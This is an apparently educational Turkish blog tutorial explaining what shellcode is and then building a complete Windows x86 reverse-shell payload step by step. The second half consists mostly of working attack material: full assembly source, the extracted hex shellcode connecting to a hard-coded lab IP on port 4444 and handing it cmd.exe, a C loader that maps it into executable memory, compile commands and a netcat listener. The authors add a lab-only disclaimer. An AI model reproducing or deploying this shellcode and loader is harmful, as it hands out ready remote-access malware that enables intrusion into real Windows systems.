Shellcode Nedir? Nasıl Çalışır?
Ömer Faruk SEVİM · @n0sfy
Emirhan ÖZGEN · @MESLEKDAA
Günümüzde birçok exploit, yalnızca bir zafiyeti sömürmekle kalmaz; aynı zamanda saldırganın kendi kodunu hedef sistemde çalıştırmasını amaçlar. İşte bu noktada "shellcode" kavramı devreye girer.

Shellcode, hedef sistemin belleğine (RAM) enjekte edilen ve işlemci (CPU) tarafından doğrudan yürütülen, sistem üzerinde genelde komut çalıştırmayı amaçlayan kod dizisidir.
Shellcode ismi, geçmişte saldırganların temel hedefinin sistem üzerinde bir shell elde etmek olmasından gelir. Özellikle 90'lı ve 2000'li yıllarda shell açmaya yönelik payload'lar oldukça yaygındı. Günümüzde çok farklı amaçlarla kullanılsa da isim değişmeden kalmıştır.
Shellcode temel olarak exploit'lerin içinde yer alan "payload" kısmıdır. Yani asıl kötü niyetli eylemi gerçekleştirecek olan kod parçasıdır.
Exploit sayesinde programın kontrol akışı değiştirilir ve bellekte saldırgan tarafından kontrol edilebilen bir bölgeye yönlendirme yapılır ve bu alana "shellcode" yerleştirilir. Sonrasında shellcode, CPU tarafından çalıştırılır ve istenilen işlemi sorgusuz sualsiz gerçekleştirir.
Kısacası bu süreç "Programın akışını değiştirip, işlemciyi kendi kodunu çalıştırmaya zorlamak." şeklinde özetlenebilir.
Peki Bu Sürecin Çalışma Mantığı Nedir? Tüm Bu İşlemler Nasıl Gerçekleşiyor?
Bir program çalışırken işlemci, komutları bellekte belirli adreslerden sırayla okur ve yürütür. İşlemcinin sıradaki hangi komutun çalıştırılacağını takip etmesini sağlayan yapı "Instruction Pointer" register'ıdır.
Buffer Overflow gibi bellek bozulması zafiyetlerinde saldırgan, Instruction Pointer değerini değiştirerek işlemcinin normal program akışı yerine kendi shellcode'unu çalıştırmasını sağlayabilir.

İşlemci açısından bakıldığında shellcode ile normal bir program kodu arasında bir fark yoktur. CPU yalnızca kendisine verilen adresteki byte dizilerini instruction olarak yorumlar ve yürütür. Eğer program akışı saldırganın kontrol ettiği bir bölgeye yönlendirilirse, işlemci bu kodları da normal bir program gibi çalıştıracaktır.
Shellcode'un Özellikleri
1. Çok küçük boyutlu olmalıdır
Shellcode'un en kritik özelliklerinden biri mümkün olduğunca küçük olmasıdır. Bunun sebebi, genellikle buffer overflow gibi zafiyetlerde çok sınırlı bir alanın bulunmasıdır. Büyük kodlar bu alana sığmaz veya çökme riskini artırır.
2. Konumdan Bağımsızdır (Position Independent Code - PIC)
Shellcode'un çalıştığı adres önceden bilinmez. Çünkü hedef programın bellek düzeni her çalıştırmada değişebilir. Bellekte hangi adres boştaysa nerede çalışabiliyorsa orada çalışır. Bu sayede herhangi bir bellek adresine bağlı olmadan çalışabilmektedir.
3. Genellikle Assembly dilinde yazılır
Herhangi bir derleyiciye ihtiyaç duymadan doğrudan CPU'nun çalıştırabilmesi için düşük seviyeli bir dil olan Assembly ile yazılır. Makine diline derlenir. Bu sayede hem boyutu küçük kalır hem de kütüphanelere ihtiyaç duymaz. Syscall kullanarak doğrudan çekirdek ile iletişime geçer.
4. Derlenmiş kod programın içine gömülerek çalıştırılır
Shellcode bağımsız bir program gibi çalıştırılmaz. Genellikle exploit edilen uygulamanın belleğine enjekte edilir ve orada çalıştırılır. Yani shellcode, hedef programın "akışı içine sızar" ve kontrolü ele alır.
5. Bağımsızdır (Self-Contained)
Shellcode dış kütüphanelere veya dosyalara ihtiyaç duymaz. Kendi başına çalışabilmelidir. Çünkü hedef sistemde hangi kütüphanelerin mevcut olduğu bilinmez. Bu nedenle tüm gerekli işlemler shellcode'un içinde bulunur.
6. Badchars içermemelidir
\x00(Null Byte)\x0A(Yeni satır)\x0D(Satır Başı)\x20(Boşluk)
Bunlar ve buna benzer karakterler shellcode içinde bulunursa string işlemleri sırasında kod istenmeyen şekilde çalışabilir veya çalışmayabilir. Uygulamanın crash olmasına sebebiyet verebilir.
7. Amacı değişebilir
Eskiden sadece shell almak amacıyla kullanılsa da artık her zaman aynı amaçla kullanılmaz. Kullanım senaryosuna göre:
- Reverse shell açabilir
- Yetki yükseltebilir
- Dosya çalıştırabilir
- Sistem bilgisi toplayabilir
Yani shellcode "ne yapılmak isteniyorsa ona göre şekillenir".
8. Şekil değiştirebilir (Polymorphism)
Shellcode, her çalıştırmada farklı görünüme sahip olabilir ama aynı işi yapar. Bu, antivirüs ve imza tabanlı tespit sistemlerini atlatmak için kullanılır. Kod sürekli "değişen bir formda" üretilir.
9. Sistem çağrıları (syscall) kullanır
Shellcode doğrudan işletim sistemi çekirdeği ile iletişim kurar. Bunun için system call (syscall) mekanizmasını kullanır.
Örneğin:
- Linux'ta
execve,read,write - Windows'ta API/syscall zincirleri
Bu sayede shellcode, kullanıcı seviyesinden kernel seviyesine geçiş yapabilir.
Buraya kadar shellcode'un ne olduğu, nasıl çalıştığı ve hangi temel prensiplere dayandığı gibi teorik konuları ele aldık. Ancak shellcode dünyasını gerçekten anlayabilmek için yalnızca teorik bilgi yeterli değildir. Bu yüzden şimdi, tüm bu kavramları pratiğe dökerek sıfırdan kendi shellcode'umuzu yazacak, derleyecek ve bir loader aracılığıyla çalıştıracağız.
Canlı uygulamamız temel olarak üç aşamadan oluşuyor:
- Birinci aşama: Shellcode yazımı.
- İkinci aşama: O shellcode verisini hedef makinenin hafızasına yerleştirecek bir yükleyici program.
- Son aşama: Zararlı yazılımın hedef makineye aktarılması ve çalıştırılması.
Shellcode Yazımı
Shellcode yazımı için kullanacağımız dil Assembly olacak. Bunun nedeni assembly sayesinde geliştirici; hangi opcode'un kullanılacağı, kaç byte kullanılacağı veya hangi register'ın nasıl değiştirileceği gibi konuları istediği gibi ele alabilir. Bu sayede yazılan shellcode daha minimalist, badchars yönetimi yapılmış ve daha taşınabilir bir hale gelir.
Başlayalım.
1. İlk Engel: ASLR
Eski sistemlerde shellcode yazımı daha kolaydı, çünkü kernel32.dll gibi işletim sisteminin kalbini oluşturan kritik kütüphaneler, hafızada her zaman aynı sabit adrese yüklenirdi. Geliştirici bu adresi koda doğrudan yazar ve işlemi tamamlardı. Ancak günümüzde Windows, zararlı yazılımların işini zorlaştırmak için ASLR adı verilen bir güvenlik mekanizması kullanıyor.
ASLR, sistem her açıldığında veya program her çalıştığında bu kütüphaneleri hafızada tamamen rastgele adreslere gönderir.
Bu ASLR engellemesini aşmak için dinamik bir yapı kurmalıydık. Bu konuda da Windows mimarisinin değişmez bir kuralından faydalandık: İşletim sistemi kütüphaneleri nereye saklarsa saklasın, o an çalışan programa "Ben bu kütüphaneleri şu adreslere koydum" diye belirtmek zorundadır.
Bu belirtilen bloğu bulmak için işlemcinin FS yazmacını kullandık. 32-bit Windows sistemlerde FS:0x30 ofseti her zaman istisnasız olarak o an çalışan sürecin "Kimlik Kartı" olan PEB yapısını işaret eder. PEB'e ulaştıktan sonra, hafızadaki modüller listesini barındıran LDR yapısına geçiş yaptık. Burada bulunan InMemoryOrderModuleList üzerinde zincirleme bir tarama yaparak, kernel32.dll'in o anki gerçek adresini dinamik olarak tespit ettik.
2. PE Başlıklarını Ayrıştırmak ve Null-Byte Tuzağı
Adresini bulduğumuz kernel32.dll'i bir kitap olarak düşünebiliriz. Bu kitabın içinde binlerce fonksiyon yatıyor, ancak bize lazım olan tüm diğer kapıları açacak tek bir fonksiyon: GetProcAddress fonksiyonu. Bu fonksiyon, işletim sistemindeki diğer tüm kütüphaneleri ve fonksiyonları bulmamızı sağlayacak.
Peki, hafızadaki bu kitabın sayfalarını nasıl okuyacağız?
İşte burada Windows'un dosya mimarisi devreye giriyor. Windows'taki tüm .exe ve .dll dosyaları PE adı verilen yapısal bir formatta yazılır. Bir .dll dosyası işletim sistemi tarafından hafızaya yüklendiğinde, bu PE yapısını aynen korur. Bizim 1. aşamada bulduğumuz o Base Address, aslında bu PE yapısının tam olarak başladığı noktadır.
Bu adresi bir sıfır noktası olarak kabul edip, PE başlıkları üzerinde matematiksel ofset hesaplamaları yaparak adım adım derinlere indik. Dosyanın veri rehberlerini takip ederek kitabın "İçindekiler" bölümüne, yani Export Directory yapısına ulaştık. Artık binlerce fonksiyon isminin listelendiği o devasa liste önümüzdeydi.
Ancak tam bu noktada büyük bir problemle karşılaştık: Null-Byte (\x00) Problemi. Assembly kodumuzda "GetProcAddress" gibi fonksiyon isimlerini doğrudan kullanmak, dizelerin sonuna null byte eklenmesine neden olabilir. Null byte, işlemci için bir kod sonlandırma işareti değildir; ancak shellcode'un taşınması veya işlenmesi sırasında kullanılan bazı fonksiyonlar bu baytı dizenin sonu olarak yorumlayabilir. Bu durumda shellcode'un yalnızca bir bölümü kopyalanabilir ve kodun düzgün çalışması engellenebilir. Bu problemi önlemek için fonksiyon adını doğrudan bir null-terminated string olarak kullanmak yerine, karakterlerini uygun biçimde makine koduna yerleştirdik ve karşılaştırma işlemini bellek üzerindeki veriler üzerinden gerçekleştirdik.
Örnek kod:
_find_function:
dec ecx
cmp dword [edi], 0x50746547 ; İlk 4 harf "GetP" mi?
jnz _find_function ; Hayırsa, başa dön ve sonrakine geç!
cmp dword [edi + 4], 0x41636f72 ; Sonraki 4 harf "rocA" mı?
jnz _find_function
cmp dword [edi + 8], 0x65726464 ; Sonraki 4 harf "ddre" mi?
jnz _find_function3. Ağ Altyapısını Manuel Kurmak (Winsock API)
Normal bir program çalıştırıldığında, Windows o programın ihtiyaç duyacağı tüm ağ kütüphanelerini otomatik olarak hafızaya yükler. Ancak biz ağ üzerinden kendi bilgisayarımıza reverse shell alabilmemiz için, kendi ağ altyapımızı inşa etmeliydik.
Bunun için bir önceki aşamada elde ettiğimiz GetProcAddress'i kullanarak, kütüphane yükleyici fonksiyon olan LoadLibraryA'nın yerini bulduk. Ardından ws2_32.dll kullanarak kütüphaneyi hafızaya zorla yüklettik.
Ağ kütüphanesini yüklemiş olsak bile, doğrudan bir soket açıp iletişim kuramayız. İşletim sistemi bizden önce WSAStartup fonksiyonunu çağırarak ağ altyapısını başlatmamızı ister. Yığıtta WSAData yapısı için boş bir alan tahsis ederek bu problemi de çözdük.
Hemen ardından WSASocketA fonksiyonu ile standart bir IPv4 TCP soketi oluşturduk. Geriye sadece açtığımız bu iletişim tünelini kendi saldırgan makinemize bağlamak kalmıştı. connect fonksiyonunu bulduk ve bağlantı bilgilerimizi yığıta sockaddr_in yapısı olarak yerleştirdik.
Burada yine karşımıza Null-Byte problemi çıktı. Hedef IP adresimizi ve 4444 portumuzu yığıta gönderirken, birleştirilmiş hex değerinin içinde sıfırlar oluşuyordu. Kodumuzun çökmemesi için bu sıfırları koda doğrudan yazmak yerine, çalışma zamanında SUB işlemi ile matematiksel olarak hesaplattık.
4. I/O Yönlendirme
Saldırgan makinemizle hedef sistem arasında TCP bağlantısını kurduk; ancak şu anda bu bağlantının bir karşılığı yok. Amacımız komut çalıştırmak. Bu yüzden hedef makinede bir komut satırı başlatmalı ve bu terminali bizim tünelimize bağlamalıyız.
Bunu yapmak için Windows'un süreç başlatma mekanizmasını kullanarak sisteme şu emri verdik: "Şimdi bir komut satırı açacaksın, ancak Input ve Output değerlerini az önce açtığımız bu ağ soketine yönlendireceksin." Böylece hedefteki cmd.exe doğrudan bizim makinemiz ile konuşmaya başladı.
Ancak yaptıklarımız burada bitmiyor. Eğer biz shellcode'u bu şekilde bitirirsek shellcode çalışıyor ancak program hemen crash yiyor. Bunu aşmak için shellcode'umuza bir döngü ekledik.
ÖNEMLİ HATIRLATMA
Ben bu shellcode'u kendi lab ortamıma özel hazırladım. Bu yüzden bu shellcode benim IP adresim ve belirlediğim port numarama özel çalışıyor. Siz bu ağ bağlantısı ayarlarını kendinize özel tekrar düzenlemelisiniz.
Shellcode'un Tam Hali
global _start
section .text
_start:
xor eax, eax
mov al, 0x30
mov eax, [fs:eax]
mov eax, [eax+0x0C]
mov eax, [eax+0x14]
mov eax, [eax]
mov eax, [eax]
mov ebx, [eax+0x10]
mov eax, [ebx+0x3C]
mov edi, ebx
add edi, eax
mov edx, [edi+0x78]
add edx, ebx
mov ecx, [edx+0x18]
mov esi, [edx+0x20]
add esi, ebx
_find_function:
dec ecx
mov edi, [esi + ecx * 4]
add edi, ebx
cmp dword [edi], 0x50746547
jnz _find_function
cmp dword [edi + 4], 0x41636f72
jnz _find_function
cmp dword [edi + 8], 0x65726464
jnz _find_function
mov edi, [edx + 0x24]
add edi, ebx
mov cx, [edi+ecx*2]
mov edi, [edx+0x1C]
add edi, ebx
mov eax, [edi + ecx * 4]
add eax, ebx
mov ebp, eax
xor edx, edx
push edx
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push ebx
call ebp
mov esi, eax
xor edx, edx
mov dx, 0x6c6c
push edx
push 0x642e3233
push 0x5f327377
push esp
call esi
mov esi, eax
xor edx, edx
mov dx, 0x7075
push edx
push 0x74726174
push 0x53415357
push esp
push esi
call ebp
xor edx, edx
mov dx, 0x0190
sub esp, edx
push esp
xor edx, edx
mov dx, 0x0202
push edx
call eax
xor edx, edx
mov dx, 0x4174
push edx
push 0x656b636f
push 0x53415357
push esp
push esi
call ebp
xor edx, edx
push edx
push edx
push edx
mov dl, 0x06
push edx
sub edx, 0x05
push edx
inc edx
push edx
call eax
mov edi, eax
mov ecx, 0x11857476
sub ecx, 0x11111111
push ecx
push 0x6e6e6f63
push esp
push esi
call ebp
xor edx, edx
push edx
push edx
push 0x81efa8c0
mov edx, 0x6d221113
sub edx, 0x11111111
push edx
mov edx, esp
push 16
push edx
push edi
call eax
xor edx, edx
mov dx, 0x4173
push edx
push 0x7365636f
push 0x72506574
push 0x61657243
push esp
push ebx
call ebp
mov esi, eax
mov ecx, 0x646d63ff
shr ecx, 8
push ecx
mov ecx, esp
push edi
push edi
push edi
xor edx, edx
push edx
push edx
xor edx, edx
mov dh, 0x01
push edx
xor edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
mov dl, 0x44
push edx
mov edx, esp
push eax
push eax
push eax
push eax
mov eax, esp
push eax
push edx
xor edx, edx
push edx
push edx
push edx
inc edx
push edx
dec edx
push edx
push edx
push ecx
push edx
call esi
_hang:
jmp _hangShellcode'u Derlemek
Yazdığımız Assembly kodunu Windows'un doğrudan çalıştırabilmesi için önce işlemcinin anlayacağı saf makine koduna dönüştürmemiz gerekiyor. Saldırgan makinemizde bu işlemi üç adımda gerçekleştiriyoruz:
1. NASM ile Derleme (Assembly -> Object File)
nasm -f elf32 win_reverse.asm -o win_reverse.oBu komut ile NASM aracını çağırıyoruz. NASM, bizim yazdığımız komutları alıp, 32-bitlik bir obje dosyasına dönüştürüyor. Bu aşamada kodumuz makine diline çevrildi ancak henüz tam olarak çalıştırılabilir bütün bir dosya değil.
2. Linker ile Çalıştırılabilir Dosya Üretme
ld -m elf_i386 win_reverse.o -o win_reverseİkinci adımda Linux'un yerleşik bağlayıcısı olan ld devreye giriyor. Obje dosyasını alıp, 32-bit x86 mimarisine uygun, derli toplu bir çalıştırılabilir dosya haline getiriyor.
3. Objdump ve Hex Extract
İşte işin en kritik noktası. Elimizde derlenmiş bir dosya var, ancak bu dosyanın içinde işletim sistemine ait başlıklar ve gereksiz kısımlar da bulunuyor. Bize sadece kendi yazdığımız talimatların o saf, ham makine kodları lazım.
objdump -d win_reverse | grep "^ " | awk '{for(i=2;i<=NF;i++) if($i ~ /^[0-9a-fA-F]{2}$/) printf "\\x%s", $i}'; echo ""objdump -dparametresi dosyayı açar ve makine kodlarını döker.grepveawkise buradaki gereksiz yerlerin atılıp hex değerlerinin başına\xeklememize yarar.
Sonuç olarak terminal bize hexadecimal formatında saf shellcode'u verir. Şimdi bu shellcode'u alıp hedef sisteme yerleştirmek kaldı.

Loader Geliştirme
Elimizde saf shellcode'umuz var. Ancak bu veri yığınını bir metin belgesine kaydedip Windows'ta çalıştıramayız.
Bu engeli aşmak ve shellcode'umuzu hedefe yerleştirebilmek için, Windows API'lerini kullanan bir Loader yazmamız gerekiyor. Bu loader'ın temel amacı, işletim sistemini kandırıp kod çalıştırabileceğimiz yasal bir alan tahsis etmesini istemek ve payload'umuzu buraya gizlice yerleştirmektir.
// cat win_loader.c
#include <windows.h>
#include <stdio.h>
unsigned char sc[] =
"\x31\xc0\xb0\x30\x64\x8b\x00\x8b\x40\x0c\x8b\x40\x14\x8b\x00\x8b"
"\x00\x8b\x58\x10\x8b\x43\x3c\x89\xdf\x01\xc7\x8b\x57\x78\x01\xda"
"\x8b\x4a\x18\x8b\x72\x20\x01\xde\x49\x8b\x3c\x8e\x01\xdf\x81\x3f"
"\x67\x65\x74\x50\x75\xf2\x81\x7f\x04\x72\x6f\x63\x41\x75\xe9\x81"
"\x7f\x08\x64\x64\x72\x65\x75\xe0\x8b\x72\x24\x01\xdf\x66\x8b\x0c"
"\x4f\x8b\x7a\x1c\x01\xdf\x8b\x84\x8f\x01\xd8\x89\xc5\x31\xd2\x52"
"\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54"
"\x53\xff\xd5\x89\xc6\x31\xd2\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e"
"\x64\x68\x77\x73\x32\x5f\x54\xff\xd6\x89\xc6\x31\xd2\x66\xba\x75"
"\x70\x52\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x56\xff\xd5"
"\x31\xd2\x66\xba\x90\x01\x29\xd4\x54\x31\xd2\x66\xba\x02\x02\x52"
"\xff\xd0\x31\xd2\x66\xba\x74\x41\x52\x68\x6f\x63\x6b\x65\x68\x57"
"\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x52\x52\x52\xb2\x06\x52\x83"
"\xea\x05\x52\x42\x52\xff\xd0\x89\xc7\xb9\x76\x74\x85\x11\x81\xe9"
"\x11\x11\x11\x11\x51\x68\x63\x6f\x6e\x6e\x54\x55\xff\xd5\x31\xd2"
"\x52\x52\x68\xc0\xa8\xef\x81\xba\x13\x11\x22\x6d\x81\xea\x11\x11"
"\x11\x11\x52\x89\xe2\x6a\x10\x52\x57\xff\xd0\x31\xd2\x66\xba\x73"
"\x41\x52\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65"
"\x61\x54\x53\xff\xd5\x89\xc6\xb9\xff\x63\x6d\x64\xc1\xe9\x08\x51"
"\x89\xe1\x57\x57\x57\x31\xd2\x52\x52\x31\xd2\xb6\x01\x52\x31\xd2"
"\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x62\x44\x52\x89\xe2\x50"
"\x50\x50\x50\x89\x20\x50\x52\x31\xd2\x52\x52\x52\x42\x52\x4a\x52"
"\x52\x51\x52\xff\xd6\xeb\xfe";
int main() {
printf("Shellcode Loader Baslatiliyor... \n");
void *exec = VirtualAlloc(0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec, sc, sizeof(sc));
((void(*)())exec)();
return 0;
}Loader kodumuzu saldırgan makinemizde hazırladığımız için, Windows'un anlayacağı bir .exe dosyası üretebilmek adına MinGW derleyicisini kullanıyoruz. Terminalde şu komutu çalıştırarak payload'umuzu elde ediyoruz:
i686-w64-mingw32-gcc win_loader.c -o payload.exeArtık her şey hazır. Bundan sonra zararlı yazılımı hedef makineye ulaştırmak ve çalıştırmak kaldı.
Shellcode'u Çalıştırma ve Reverse Shell Alma
Zararlı yazılımımızı hedef makineye gönderdik. Şimdi saldırgan makinemizden dinlemeye başlayalım.
nc -lvnp 4444nc -lvnp 4444 ile dinlemeye başlayalım. Burada port numaramız da çok önemli. Shellcode'da belirtilen IP adresinden ve port numarasından dinleme açtığınıza emin olun.
Dinlemeyi açtık, şimdi hedef makine üzerinde zararlıyı çalıştıralım:
C:\Users\zorro\Desktop\payload.exe
Shellcode Loader Baslatiliyor...Kendi makinemize dönüp kontrol ettiğimizde reverse shell'in başarıyla geldiğini doğruluyoruz:

Sonuç
Bu lab ortamında kendi shellcode'umuzu üretip kendi test makinemizde çalıştırdık. Hazır shellcode üreten msfvenom gibi araçlar kullanmadan işin mantığını kavrayarak ilerledik. Bu mantık üzerine ilerleyerek kendi zafiyetli uygulamalarınızı yazabilirsiniz.
Bu anlattıklarım güvenli ortamlar üzerinde denenmiştir. Lab ortamı dışında zarar verecek herhangi bir aktivite yapmayınız.
Bu yazıda paylaşılan bilgiler yalnızca eğitim ve laboratuvar ortamında farkındalık oluşturmak amacıyla yazılmıştır. Yazarlar, bu bilgilerin kötü niyetli veya yasal olmayan kullanımından sorumlu tutulamaz.
Kaynakça
Kaynakça
- Microsoft PE Format
- Microsoft GetProcAddress belgeleri
- Microsoft LoadLibraryA belgeleri
- Microsoft VirtualAlloc belgeleri
- Microsoft CreateProcessA belgeleri
- Microsoft Winsock başlangıç rehberi
- Microsoft WSAStartup belgeleri
- Netwide Assembler (NASM) belgeleri
- MITRE ATT&CK — Process Injection (T1055)
- Microsoft —
/DYNAMICBASEve ASLR

